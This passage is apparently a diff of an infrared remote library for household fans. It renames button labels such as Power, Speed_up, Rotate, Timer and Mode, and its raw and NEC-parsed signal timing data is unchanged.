408 1238 1278 423 1250 423 408 1264 409 1238 435 1264 1251 422 409 1264 409 1237 436 7964 1278 422 1251 422 409 1264 1251 422 1251 422 409 1263 410 1262 411 1262 1254 420 411 1262 411 1235 438 7961 1270 429 1244 429 413 1260 1245 428 1245 427 415 1258 415 1231 432 1241 1274 425 406 1267 406 1240 433 7965 1277 423 1250 423 408 1265 1250 423 1250 423 408 1264 409 1237 436 1237 1278 421 410 1262 411 1262 411 7961 1270 429 1244 429 413 1260 1245 429 1244 429 413 1260 413 1233 440 1259 1246 427 415 1259 414 1258 415 7959 1272 427 1246 427 415 1259 1246 427 1246 427 415 1257 406 1267 406 1241 1274 425 406 1266 407 1266 407 7965 1277 422 1251 422 409 1264 1251 421 1252 421 410 1262 411 1261 412 1235 1270 429 413 1260 413 1233 440 7958 1273 426 1247 425 406 1267 1249 425 1248 424 407 1266 407 1265 408 1265 1250 423 408 1264 409 1263 410 7962 1280 420 1253 420 411 1261 1244 430 1243 429 413 1259 414 1232 441 1231 1274 427 415 1257 406 1240 433 7965 1277 423 1250 423 408 1264 1251 422 1251 422 409 1262 411 1235 438 1235 1280 420 411 1260 413 1232 441 7957 1274 426 1247 425 406 1266 1250 425 1248 424 407 1265 408 1238 435 1264 1251 423 408 1263 410 1236 437 # Osc -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 1338 374 1311 374 464 1194 1339 374 1311 374 464 1194 492 1194 492 1194 520 1165 1368 346 492 1167 519 7918 1364 347 1337 348 490 1195 1336 351 1333 352 486 1200 486 1201 485 1201 486 1201 1332 353 485 1201 485 7952 1332 353 1332 353 485 1200 1333 353 1332 353 485 1201 485 1201 485 1201 485 1201 1332 354 485 1201 485 7954 1331 354 1331 354 485 1201 1332 354 1331 354 485 1201 485 1202 485 1202 485 1202 1331 354 485 1201 485 7954 1331 354 1331 354 484 1202 1331 355 1330 355 483 1202 484 1203 483 1203 484 1203 1330 355 484 1203 483 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1280 394 1280 420 411 1236 1269 430 1254 419 412 1235 438 1234 439 1233 440 1233 440 1233 1272 427 415 8311 1279 395 1278 420 411 1236 1269 430 1243 430 412 1234 439 1234 439 1233 440 1233 440 1233 1272 427 415 8312 1277 396 1277 422 409 1264 1252 421 1252 421 410 1236 437 1235 438 1233 440 1259 414 1259 1246 427 415 8312 1277 422 1251 423 408 1264 1251 423 1250 423 408 1238 435 1237 436 1237 436 1263 410 1237 1278 421 410 8315 1274 425 1248 425 406 1240 1276 424 1249 424 407 1265 408 1238 435 1264 409 1237 436 1237 1279 421 410 8318 1271 402 1271 428 414 1233 1272 427 1246 427 415 1231 432 1241 432 1240 433 1240 433 1240 1276 424 407 8319 1271 429 1245 428 414 1233 1272 428 1245 427 415 1231 442 1231 432 1240 433 1240 433 1239 1277 423 408 8318 1271 401 1272 427 415 1232 1273 427 1246 426 405 1267 406 1240 433 1239 434 1238 435 1238 1278 422 409 8317 1272 401 1272 426 405 1242 1274 426 1248 425 406 1240 433 1239 434 1238 435 1238 435 1238 1278 421 410 8317 1272 401 1272 426 405 1242 1274 425 1249 425 406 1240 434 1239 434 1238 435 1238 435 1238 1278 421 410 8316 1273 400 1273 426 405 1241 1275 425 1248 425 406 1239 434 1239 434 1238 435 1238 435 1238 1278 421 410 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1341 395 1311 395 455 1220 1341 395 1311 396 454 1248 456 1248 457 1248 456 1247 457 1247 457 1247 1338 7184 1335 399 1307 399 450 1254 1307 399 1307 400 449 1255 450 1255 450 1254 450 1254 450 1254 450 1254 1307 8332 1306 401 1306 400 449 1256 1306 400 1306 401 449 1255 450 1255 449 1255 449 1255 449 1255 449 1255 1306 7214 1306 400 1307 400 450 1255 1306 400 1306 400 450 1255 449 1255 449 1255 449 1255 449 1255 449 1256 1306 8333 1306 401 1307 401 449 1256 1307 402 1306 402 448 1256 449 1256 448 1256 448 1256 448 1256 448 1256 1307 7215 1305 401 1306 402 448 1256 1306 402 1305 402 448 1257 447 1257 447 1257 447 1256 448 1256 448 1257 1305 8333 1304 402 1305 402 448 1257 1304 402 1304 403 447 1257 447 1257 448 1257 447 1257 447 1257 447 1257 1304 7216 1304 403 1303 403 446 1257 1304 403 1304 403 446 1258 447 1258 446 1257 447 1257 447 1258 447 1257 1304 8334 1304 402 1305 403 446 1257 1304 403 1303 403 447 1258 446 1257 448 1258 446 1258 446 1258 446 1258 1303 7217 1303 404 1303 404 445 1259 1302 404 1302 428 421 1259 446 1283 421 1259 445 1283 421 1283 421 1284 1278 8361 1277 429 1278 429 420 1284 1278 429 1277 429 420 1284 420 1284 420 1284 420 1284 420 1284 419 1285 1277 7243 1277 429 1277 429 421 1284 1277 429 1277 429 420 1284 420 1284 420 1284 420 1284 420 1284 420 1284 1277 8361 1277 430 1276 430 420 1285 1276 430 1277 430 419 1285 419 1285 419 1285 420 1284 420 1285 420 1285 1276 7244 1276 431 1276 430 419 1286 1276 430 1276 431 418 1286 418 1286 418 1286 418 1286 418 1285 419 1285 1276 8363 1275 431 1276 431 418 1286 1275 431 1276 432 417 1286 418 1286 418 1286 418 1286 419 1286 418 1286 1275 7246 1275 432 1275 432 417 1288 1274 457 1249 457 392 1312 392 1312 392 1289 415 1312 392 1312 392 1313 1249 8390 1248 458 1249 458 391 1313 1249 458 1248 458 391 1313 391 1314 390 1313 391 1314 390 1314 390 1314 1248 7273 1247 459 1223 484 390 1315 1247 460 1222 510 339 1365 364 1315 365 1339 390 1315 388 1341 339 1340 1222 8415 1222 484 1222 510 339 1365 1197 510 1197 510 339 1365 340 1365 339 1365 339 1365 339 1365 339 1365 1197 7324 1196 511 1196 511 338 1366 1196 511 1195 511 338 1366 338 1367 337 1367 337 1367 337 1367 337 1367 1195 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1341 368 1338 392 457 1219 1370 364 1341 364 485 1190 540 1164 513 1190 513 1191 512 1194 1365 366 481 8031 1338 370 1336 371 477 1226 1335 371 1335 371 477 1226 477 1226 477 1226 477 1226 477 1226 1334 371 477 9153 1334 371 1334 371 477 1226 1334 371 1335 371 477 1227 476 1227 476 1227 476 1227 476 1227 1334 372 476 8036 1334 372 1333 372 476 1227 1333 372 1333 372 476 1227 476 1227 476 1227 476 1227 476 1227 1334 373 475 9154 1334 373 1333 373 475 1228 1332 373 1332 373 475 1229 475 1228 475 1229 474 1229 474 1229 1331 374 474 8038 1331 374 1332 374 474 1229 1331 374 1331 398 450 1253 450 1253 450 1253 450 1253 450 1253 1307 398 450 9179 1307 398 1307 398 450 1253 1307 399 1306 398 450 1254 449 1254 449 1253 450 1254 449 1254 1306 398 450 8063 1306 398 1307 399 449 1254 1306 399 1306 399 449 1254 449 1254 449 1254 449 1254 449 1254 1307 399 449 # -name: MODE +name: Mode type: raw frequency: 38000 duty_cycle: 0.330000 data: 1372 339 1369 363 486 1190 1374 363 1344 363 486 1190 515 1191 513 1191 513 1192 1370 365 483 1220 484 8036 1339 371 1337 371 478 1227 1337 371 1337 371 478 1227 478 1227 478 1227 478 1227 1336 371 478 1227 478 9159 1336 372 1336 371 478 1227 1336 371 1336 372 477 1227 478 1227 477 1227 477 1227 1336 372 477 1228 477 8041 1335 372 1335 372 477 1227 1336 372 1335 372 477 1228 477 1228 477 1228 477 1228 1335 373 476 1228 477 9160 1335 373 1334 373 476 1228 1335 373 1334 373 476 1229 475 1229 476 1229 475 1229 1334 374 475 1229 475 8042 1334 375 1331 398 451 1230 1333 398 1309 398 451 1254 450 1254 451 1253 451 1253 1308 398 450 1254 450 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 1342 366 1370 339 511 1191 1373 364 1343 364 511 1165 540 1165 514 1192 1371 364 484 1219 485 1220 484 8036 1339 370 1337 371 478 1227 1336 371 1336 371 478 1227 478 1227 478 1227 1336 372 477 1227 478 1227 478 9162 1336 372 1335 372 477 1228 1335 372 1335 373 476 1228 477 1228 477 1228 1336 372 477 1228 477 1228 476 8044 1336 372 1335 373 476 1228 1335 398 1309 398 451 1254 451 1254 451 1255 1308 400 449 1255 450 1256 449 9188 1306 403 1304 428 421 1260 1303 428 1279 429 419 1284 421 1284 420 1284 1279 429 420 1285 420 1284 420 8099 1276 457 1250 457 391 1313 1225 483 1224 484 364 1338 366 1338 392 1313 1225 484 364 1339 366 1339 390 9244 1225 509 1198 510 338 1366 1197 510 1197 537 311 1367 338 1393 311 1394 1169 591 256 11618 1170 539 1168 565 282 1395 1169 565 1142 538 310 1341 365 1312 419 1259 1305 400 449 1254 450 1255 449 9186 1307 400 1306 400 448 1255 1307 399 1307 400 448 1255 449 1255 449 1255 1307 400 448 1255 449 1255 449 8068 1306 400 1306 400 448 1256 1306 400 1306 401 447 1256 448 1256 448 1256 1306 401 447 1256 448 1257 447 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 170 535 1281 413 1276 418 436 1259 1275 423 1276 444 410 1258 431 1264 435 1260 439 1256 433 1262 437 1258 1276 6529 173 475 1280 414 1275 419 435 1260 1274 450 1249 419 435 1259 430 1265 434 1261 438 1257 432 1263 436 1259 1275 7177 1280 414 1275 445 410 1260 1274 450 1249 445 410 1259 430 1266 433 1262 437 1258 431 1264 435 1260 1274 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1280 415 1274 447 407 1288 1256 442 1247 448 406 1288 411 1284 405 1291 408 1287 412 1283 1251 444 411 8009 1282 413 1276 445 409 1286 1248 450 1249 446 408 1286 403 1292 407 1262 437 1285 404 1291 1253 442 413 8007 1274 446 1253 442 402 1292 1252 447 1252 442 402 1292 407 1288 411 1284 405 1264 435 1286 1248 447 407 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 1278 444 1255 439 405 1289 1255 444 1255 439 405 1290 409 1259 1275 447 407 1288 411 1257 432 1263 436 8009 1282 440 1249 446 408 1286 1248 451 1248 446 408 1286 413 1256 1278 444 410 1284 405 1264 435 1261 438 8008 1283 439 1250 444 410 1284 1250 450 1249 445 409 1284 405 1265 1279 442 412 1282 407 1262 437 1258 431 8015 1276 445 1254 440 404 1292 1252 446 1253 441 403 1292 407 1288 1256 439 405 1290 409 1286 403 1292 407 8012 1279 416 1273 448 406 1289 1255 443 1246 449 405 1289 410 1285 1249 446 408 1287 412 1283 406 1289 410 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 1278 417 1282 439 405 1290 1254 444 1255 439 405 1289 410 1285 404 1292 1252 442 412 1283 406 1289 410 8010 1280 414 1275 446 408 1287 1247 451 1248 446 408 1286 413 1282 407 1263 1281 440 404 1291 408 1261 438 8007 1273 421 1278 443 411 1284 1249 449 1250 444 410 1258 431 1291 408 1288 1256 439 405 1289 410 1286 403 8017 1273 421 1278 443 411 1284 1249 449 1250 444 410 1285 404 1291 408 1262 1282 440 404 1264 435 1260 439 # -name: MODE +name: Mode type: raw frequency: 38000 duty_cycle: 0.330000 data: 1282 413 1276 445 409 1260 1274 450 1249 445 410 1259 430 1265 434 1261 438 1258 1276 445 409 1285 404 8017 1274 420 1279 442 412 1283 1251 448 1251 443 411 1283 406 1290 409 1260 439 1256 1278 443 411 1284 405 8015 1276 418 1281 440 404 1291 1253 446 1253 440 404 1291 408 1287 412 1283 406 1263 1281 440 404 1291 408 8011 1280 414 1275 446 408 1287 1247 452 1247 447 407 1261 438 1283 406 1289 410 1259 1275 447 407 1287 412 8006 1275 446 1253 441 403 1292 1252 447 1252 442 402 1292 407 1288 411 1284 405 1291 1253 442 402 1292 407 # -name: POWER +name: Power type: parsed protocol: NEC address: 30 00 00 00 command: 97 00 00 00 # -name: MODE +name: Mode type: parsed protocol: NEC address: 30 00 00 00 command: 87 00 00 00 # -name: SPEED+ +name: Speed_up type: parsed protocol: NEC address: 30 00 00 00 command: 86 00 00 00 # -name: TIMER +name: Timer type: parsed protocol: NEC address: 30 00 00 00 command: 9C 00 00 00 # -name: ROTATE +name: Rotate type: parsed protocol: NEC address: 30 00 00 00 command: 95 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 00 00 00 00 command: 45 00 00 00 # -name: SPEED+ +name: Speed_up type: parsed protocol: NEC address: 00 00 00 00 command: 47 00 00 00 # -name: TIMER +name: Timer type: parsed protocol: NEC address: 00 00 00 00 command: 19 00 00 00 # -name: ROTATE +name: Rotate type: parsed protocol: NEC address: 00 00 00 00 command: 1C 00 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 2229 716 749 747 728 715 750 720 756 714 751 719 757 1447 751 719 756 714 751 1453 755 742 723 747 729 742 754 716 749 721 754 715 729 741 724 1454 754 1450 758 1445 753 1451 757 714 751 50967 2228 717 748 1455 753 51028 2198 746 730 1449 749 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 2225 719 756 741 724 720 755 715 750 720 755 716 749 1456 752 719 746 726 749 1456 731 741 755 1451 757 714 751 1455 753 718 757 1448 750 1456 752 720 755 715 750 721 754 1452 756 1449 759 51509 2201 743 732 1473 756 51069 2202 717 758 1448 750 # -name: SPEED- +name: Speed_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 2234 712 752 743 732 713 751 720 755 716 749 722 753 1453 754 716 759 712 752 1453 754 718 757 1449 758 713 751 1455 752 1454 753 718 757 741 723 748 727 745 730 1449 758 739 725 1455 752 51252 2234 713 751 1454 753 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 2229 714 750 747 727 717 757 713 751 719 755 715 749 1455 751 719 755 715 749 1455 751 1453 753 717 757 714 750 1454 752 718 756 714 750 746 728 742 722 722 752 1452 754 716 758 1445 751 50982 2229 716 727 1479 748 51048 2205 712 752 1450 756 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 2258 688 781 718 751 694 775 696 784 687 782 690 779 1427 782 690 779 693 776 1431 778 721 748 724 756 716 753 719 750 722 747 725 744 727 773 1407 781 1426 783 1425 774 1433 776 696 773 51015 2224 748 721 1458 783 51084 2249 697 783 1425 784 51089 2253 694 775 1432 756 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 2212 836 751 1591 749 825 752 817 750 1577 753 806 750 804 752 796 750 857 751 828 749 825 752 816 751 813 743 816 751 803 743 805 752 102392 2214 834 743 1599 751 823 744 825 752 1575 745 840 727 801 745 804 752 854 744 835 752 822 745 824 743 821 746 813 743 810 746 802 744 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 2214 838 748 1596 751 824 751 819 746 1584 753 807 747 807 747 803 751 857 750 830 745 830 745 825 750 814 751 810 745 1574 752 798 746 101740 2213 838 748 1597 750 824 751 819 746 1583 754 806 748 807 747 802 752 856 751 830 745 829 746 824 751 814 751 809 745 1574 753 797 747 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 2216 836 750 1594 754 821 754 816 749 1580 747 813 752 803 751 798 746 1626 753 827 748 1591 746 824 751 1578 749 811 754 1566 750 799 745 99411 2218 833 753 1591 746 829 746 823 752 1577 749 810 755 800 754 795 749 1623 745 835 751 1588 749 821 754 1574 752 807 747 1572 755 795 749 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 2219 732 750 729 753 722 749 1384 755 1374 755 705 746 708 753 697 754 754 749 731 751 723 749 721 750 715 746 713 748 1370 749 701 749 99627 2216 735 747 732 750 725 747 1387 753 1376 753 706 755 700 751 698 753 755 748 732 750 725 747 722 749 716 745 714 747 1372 747 702 749 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 2215 735 746 730 751 722 749 1383 745 1381 747 711 749 704 746 702 748 1422 748 730 751 722 749 720 751 712 748 1373 745 1372 746 702 748 102284 2218 732 749 729 752 720 751 1380 748 1378 750 709 751 701 749 700 750 1420 750 728 753 719 752 717 754 709 752 1370 748 1369 749 699 751 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 2221 729 752 725 746 727 754 1377 751 1375 753 706 755 699 751 697 753 753 749 729 752 1384 755 1377 751 713 747 711 749 1367 751 1361 746 101691 2216 734 747 731 750 723 748 1383 745 1381 747 711 749 705 745 703 747 759 754 725 746 1390 749 1383 756 708 752 706 754 1362 745 1366 752 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 2220 831 751 1618 729 820 751 818 753 1575 751 835 726 829 721 802 748 885 728 851 720 854 728 815 756 809 752 807 754 1565 750 825 725 101743 2220 830 752 1618 729 819 752 844 727 1574 752 835 726 802 748 801 749 884 729 850 721 827 755 815 746 845 726 806 755 1590 725 798 752 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 2218 857 725 1592 754 846 725 844 727 1574 752 834 727 827 723 826 724 883 720 1597 750 851 720 1586 750 840 721 1577 749 831 730 1557 748 99247 2221 854 728 1590 746 854 728 841 720 1583 753 832 729 825 725 824 726 881 722 1596 751 849 722 1585 751 839 722 1576 750 831 719 1568 747 # -name: SPEED- +name: Speed_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 2217 832 750 1594 753 821 750 819 752 1576 750 809 804 750 800 748 750 1622 756 1587 749 1589 747 1586 750 1578 748 1575 751 1568 747 802 748 101181 2218 831 751 1592 755 819 752 817 754 1574 752 808 753 801 749 800 751 1620 748 1596 751 1587 749 1584 752 1576 750 1574 752 1566 749 800 803 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 2274 662 756 711 749 718 752 715 797 669 801 1399 749 718 783 684 797 670 800 1400 748 720 750 716 754 713 747 720 750 718 752 714 777 718 752 1448 752 714 756 711 749 1450 750 1423 777 51569 2192 718 752 1447 753 50954 2223 712 748 1423 798 50911 2245 661 746 1451 749 50917 2218 715 755 1415 754 50965 2191 716 754 1445 755 50923 2223 710 750 1421 800 50893 2190 717 753 1445 776 50902 2242 664 796 1402 777 50907 2217 717 753 1418 803 50880 2223 710 750 1421 800 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 2225 712 747 719 751 716 754 713 757 711 748 1451 748 718 752 715 754 712 747 1451 748 718 752 716 754 1445 754 1444 724 1449 750 716 754 713 746 1453 746 720 749 1450 749 1451 727 1446 753 50693 2219 717 752 1445 754 50927 2194 714 756 1442 747 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 2216 733 744 734 754 1382 751 1381 752 712 744 714 753 700 746 702 754 753 745 733 755 719 748 720 747 717 750 709 747 706 750 1361 751 99476 2211 738 749 729 748 1389 754 1377 745 718 748 710 746 707 749 699 747 760 748 730 747 726 751 718 748 715 752 706 750 703 753 1359 753 49283 2217 670 745 1350 751 50661 2212 676 749 1345 746 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 2213 737 751 727 750 1387 746 1385 748 716 751 707 749 704 752 696 750 1420 754 724 753 720 747 721 746 718 749 1373 749 1367 745 703 753 102141 2215 735 753 726 751 1385 747 1384 748 715 752 706 750 704 752 695 751 1419 755 723 754 720 747 721 746 718 749 1399 723 1367 755 693 753 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 33 2223 753 725 720 748 750 728 743 725 746 722 1458 750 749 750 722 726 747 721 1460 748 724 755 744 724 721 747 724 754 744 724 747 752 720 748 1458 750 722 756 715 753 718 750 1456 752 51488 2221 727 721 1460 748 51156 2203 744 724 1456 752 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 33 2225 718 750 719 749 721 747 722 746 723 745 1458 750 720 748 722 726 744 724 1452 756 741 727 742 726 1451 746 1457 750 1454 754 716 752 717 720 1483 725 745 723 1454 754 1450 747 1456 752 50811 2199 744 745 1433 754 51049 2229 715 743 1435 752 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 2221 721 727 1450 779 1452 756 714 744 1487 721 723 756 714 754 715 774 774 726 1505 724 772 748 1482 726 770 751 1454 754 1477 721 1484 745 101867 2197 745 723 1453 776 1455 722 748 720 1483 756 713 755 714 744 725 775 774 726 1478 751 771 729 1475 754 769 720 1483 756 1448 750 1481 727 50476 2201 714 755 1448 781 50602 2221 720 748 1454 775 50604 2250 743 694 1456 773 50628 2226 715 743 1433 775 50652 2191 748 720 1430 778 # -name: SPEED- +name: Speed_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 2193 750 729 1421 777 1454 754 715 753 1478 751 719 728 715 753 716 773 1510 729 1501 728 1477 752 1505 755 1475 754 1477 721 749 751 772 696 102110 2246 748 720 1455 774 1430 747 723 746 1484 724 745 723 720 748 721 779 1477 752 1478 751 1480 749 1508 752 1478 751 1479 729 741 748 748 721 50743 2195 747 721 1454 775 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 2247 750 729 1447 782 1450 748 722 726 1506 723 720 748 722 757 713 776 772 728 769 751 1505 755 1476 753 1452 756 740 749 747 753 1452 756 101517 2220 749 719 1457 772 1433 754 715 753 1478 719 750 729 715 753 716 773 776 724 772 748 1508 752 1479 750 1481 727 769 731 739 750 1454 754 50114 2228 742 726 1450 779 50645 2197 746 722 1454 775 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1275 434 1253 430 408 1275 1251 431 1257 427 411 1272 415 1241 436 1248 439 1244 433 1250 437 1247 1279 7142 1276 433 1255 428 410 1247 1279 430 1247 435 414 1269 408 1249 438 1272 415 1241 436 1248 439 1244 1282 8244 1274 434 1253 429 409 1274 1252 430 1247 435 414 1242 435 1275 412 1270 407 1277 411 1246 441 1242 1274 7146 1282 426 1251 431 407 1276 1250 432 1255 426 412 1271 406 1276 411 1272 415 1242 435 1248 439 1244 1282 8243 1275 433 1255 428 410 1272 1254 429 1248 434 415 1267 410 1273 414 1269 408 1275 412 1245 432 1251 1275 7144 1273 435 1252 430 408 1274 1252 430 1247 436 413 1269 408 1249 438 1245 442 1267 410 1274 413 1270 1256 8241 1277 431 1257 425 413 1270 1256 425 1252 430 408 1275 412 1270 407 1276 411 1246 441 1267 410 1247 1279 7140 1277 431 1256 426 412 1270 1256 425 1252 430 408 1274 413 1270 407 1276 411 1245 442 1267 410 1247 1279 8245 1273 435 1252 430 408 1274 1252 430 1247 435 414 1269 408 1275 412 1270 407 1277 410 1246 441 1268 1248 7145 1273 435 1252 430 408 1274 1252 430 1247 435 414 1242 435 1248 439 1244 433 1250 437 1246 441 1242 1274 8249 1279 403 1274 434 415 1242 1274 434 1253 429 409 1247 440 1242 435 1248 439 1244 433 1250 437 1246 1280 7138 1279 403 1274 434 415 1268 1247 434 1253 429 409 1246 441 1268 409 1248 439 1244 433 1250 437 1245 1281 8241 1277 405 1283 426 412 1270 1256 426 1251 430 408 1274 413 1270 407 1276 411 1271 416 1267 410 1246 1280 7138 1279 429 1248 434 415 1268 1247 434 1274 407 442 1240 416 1267 410 1247 440 1243 434 1249 438 1271 1255 # -name: MODE +name: Mode type: raw frequency: 38000 duty_cycle: 0.330000 data: 1279 430 1247 436 413 1270 1256 427 1250 432 406 1277 410 1273 414 1269 408 1275 1251 432 406 1277 410 7983 1284 425 1252 430 408 1275 1251 431 1256 426 412 1270 407 1250 437 1272 415 1242 1274 435 414 1270 407 9092 1275 433 1254 428 410 1273 1253 428 1249 434 415 1268 409 1274 413 1269 408 1276 1250 432 406 1277 410 7984 1283 425 1252 431 407 1275 1251 431 1256 426 412 1270 407 1276 411 1272 415 1241 1275 435 414 1269 408 9090 1277 431 1256 426 412 1270 1256 426 1251 431 407 1275 412 1270 407 1276 411 1272 1254 428 410 1273 414 7978 1278 430 1247 435 414 1269 1247 435 1252 430 408 1274 413 1243 434 1275 412 1271 1255 427 411 1272 415 9082 1275 434 1253 428 410 1273 1253 428 1249 433 405 1277 410 1272 415 1268 409 1274 1252 430 408 1275 412 7980 1276 432 1255 427 411 1271 1255 427 1250 432 406 1276 411 1271 416 1267 410 1247 1279 430 408 1275 412 9085 1282 426 1251 431 407 1276 1250 432 1255 426 412 1270 407 1276 411 1272 415 1268 1247 435 414 1269 408 7985 1282 427 1250 432 406 1277 1249 433 1254 428 410 1272 415 1267 410 1274 413 1269 1257 426 412 1271 406 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 9204 4469 604 562 604 562 604 562 604 563 603 564 602 565 601 567 599 568 598 1642 598 1643 607 1634 606 1634 606 1634 606 1635 605 1636 604 1637 603 1638 602 565 601 1641 599 568 598 569 607 560 606 1635 605 588 578 562 604 1637 603 563 603 1638 602 1639 601 1641 599 594 572 1643 607 39280 9217 2212 601 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 9225 4468 605 563 603 564 602 565 601 566 600 568 598 569 597 570 606 561 605 1636 604 1638 602 1640 600 1641 599 1643 607 1634 606 1636 603 1637 603 1639 601 1640 600 1641 599 595 571 568 598 569 597 1645 605 588 578 562 604 563 603 564 602 1639 601 1641 599 1643 597 596 580 1635 605 # -name: MODE +name: Mode type: raw frequency: 38000 duty_cycle: 0.330000 data: 9214 4475 598 568 598 597 579 560 606 588 578 589 577 563 603 590 576 564 602 1666 574 1667 573 1641 599 1669 571 1643 597 1644 606 1635 605 1663 577 563 603 564 602 591 575 592 574 592 574 593 573 1668 572 594 572 1669 571 1669 571 1670 570 1644 606 1635 605 1636 604 590 576 1637 603 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 9275 4475 608 560 606 563 603 565 601 568 598 570 606 563 603 565 601 567 599 1645 605 1638 602 1642 598 1645 605 1639 601 1642 598 1645 605 1637 603 1641 599 569 607 561 605 1639 601 1642 608 560 606 563 603 565 601 568 598 1644 606 1637 603 565 601 567 599 1644 606 1636 604 1639 601 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1279 428 1246 434 413 1265 1246 434 1250 430 407 1271 413 1240 434 1245 439 1240 434 1245 439 1240 1271 7282 1276 430 1244 436 411 1267 1255 426 1248 432 405 1248 437 1243 431 1248 436 1243 431 1248 436 1243 1279 7276 1272 434 1250 430 407 1271 1251 430 1244 436 411 1267 407 1247 437 1241 433 1246 438 1241 433 1246 1276 7279 1279 427 1247 433 404 1248 1274 433 1251 429 408 1271 413 1239 435 1245 440 1239 435 1244 430 1249 1273 7282 1276 430 1244 436 411 1267 1244 436 1248 432 405 1273 411 1242 432 1247 437 1241 433 1247 437 1241 1281 7274 1274 432 1252 428 409 1270 1252 428 1246 434 413 1266 408 1244 441 1239 435 1244 440 1239 435 1244 1278 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 1275 405 1279 401 436 1243 1279 401 1273 407 440 1238 436 1244 1278 429 408 1244 440 1239 435 1244 440 8113 1272 434 1250 430 407 1246 1276 430 1254 426 411 1242 432 1247 1275 432 405 1247 437 1242 432 1247 437 8115 1280 426 1248 432 405 1248 1274 433 1251 428 409 1244 440 1239 1272 434 413 1239 435 1245 439 1239 435 8118 1277 429 1245 435 412 1240 1271 436 1248 431 406 1247 437 1242 1280 427 410 1242 432 1247 437 1242 432 8121 1274 406 1278 428 409 1244 1278 402 1272 408 439 1240 434 1245 1277 404 433 1246 438 1240 434 1245 439 8114 1281 399 1275 405 432 1247 1275 406 1278 401 436 1244 430 1249 1273 407 440 1240 434 1245 439 1239 435 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1248 412 1274 438 405 1284 1245 445 1251 435 408 1281 405 1282 404 1285 411 1251 435 1253 1276 437 406 8011 1242 445 1251 435 408 1255 1274 442 1244 443 410 1278 408 1280 406 1282 435 1254 411 1277 1242 445 408 8011 1242 443 1243 444 409 1279 1250 440 1246 441 412 1277 409 1279 407 1281 405 1282 404 1286 1243 443 410 8008 1245 442 1244 443 410 1278 1251 440 1246 441 402 1286 410 1278 408 1280 406 1256 430 1284 1276 411 411 8006 1247 439 1247 439 404 1285 1244 446 1250 437 406 1282 404 1283 403 1285 411 1278 408 1254 1275 438 405 8013 1251 436 1250 410 433 1282 1247 443 1243 443 410 1279 407 1281 405 1282 404 1258 438 1276 1243 444 409 7981 1272 414 1272 441 412 1250 1269 448 1248 438 405 1257 429 1259 437 1277 429 1232 433 1281 1248 412 431 7986 1267 446 1250 436 407 1255 1274 443 1243 443 410 1253 433 1280 406 1282 404 1258 428 1287 1273 387 435 7981 1272 414 1272 415 438 1276 1243 447 1249 411 432 1282 435 1228 489 1198 436 1278 408 1280 1249 411 432 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1281 410 1289 429 415 1276 1257 435 1264 428 416 1248 440 1250 438 1253 435 1282 1261 404 440 1277 411 8127 1288 404 1284 434 410 1281 1262 403 1285 432 412 1280 408 1256 443 1249 439 1278 1265 401 443 1275 413 8125 1289 429 1260 432 412 1253 1291 401 1287 431 413 1251 437 1253 446 1246 442 1249 1284 435 409 1256 443 8122 1282 437 1262 429 415 1277 1256 409 1290 428 416 1249 439 1251 437 1254 445 1247 1286 433 411 1254 445 8120 1283 409 1290 428 416 1275 1258 434 1254 437 418 1274 414 1249 439 1252 436 1281 1262 404 440 1251 437 8128 1286 432 1256 436 408 1257 1286 405 1283 435 409 1282 417 1247 441 1250 438 1253 1290 428 416 1249 439 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 1286 406 1282 438 416 1275 1257 435 1263 430 1258 434 410 1282 416 